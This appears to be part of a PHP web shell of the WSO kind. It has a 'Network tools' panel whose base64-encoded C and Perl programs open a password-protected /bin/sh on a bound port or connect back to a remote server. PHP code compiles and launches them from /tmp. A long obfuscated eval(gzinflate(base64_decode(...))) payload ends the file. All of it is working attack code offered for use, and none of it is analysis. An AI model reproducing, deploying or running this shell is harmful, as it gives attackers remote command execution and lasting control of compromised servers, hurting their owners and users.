X0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2Fk?ZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRy?

ICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9?YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAg?

ICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVh?ZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAg?

ICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAg?IHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAg?

ICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0?

KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3Rv?YnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMs?

U09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5B?RERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNh?

bnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlk?PWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBT?

VERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNP?Tk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxu?

IjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    ?>
    <h1>Network tools</h1><div class=content>
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <span>Bind port to /bin/sh</span><br/>
    Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option 

value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
    </form>
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <span>Back-connect to</span><br/>
    Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select 

name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
    </form><br>
    <?php
    if(isset($_POST['p1'])) {
        function cf($f,$t) {
            $w=@fopen($f,"w") or @function_exists('file_put_contents');
            if($w)    {
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST['p1'] == 'bpc') {
            cf("/tmp/bp.c",$bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
        }
        if($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
        }
        if($_POST['p1'] == 'bcc') {
            cf("/tmp/bc.c",$back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
        }
    }
    echo '</div>';
    printFooter();
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
?>
<center><br><br><br><br><br><br><br><br><img src="http://i41.tinypic.com/348pmzc.jpg"</center></br>
<body background="http://3.bp.blogspot.com/_XcwyXPHzGFc/TUxA0HR8YxI/AAAAAAAAA4g/GSnnH9flv4g/s1600/mat-black-lg.jpg" bgcolor="#000000" text="#00ff00">
<!-- Link -->
<link rel="icon" href="http://rovicky.files.wordpress.com/2006/08/flag-indonesia.gif" type="image/x-icon">
<!-- End Link -->

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('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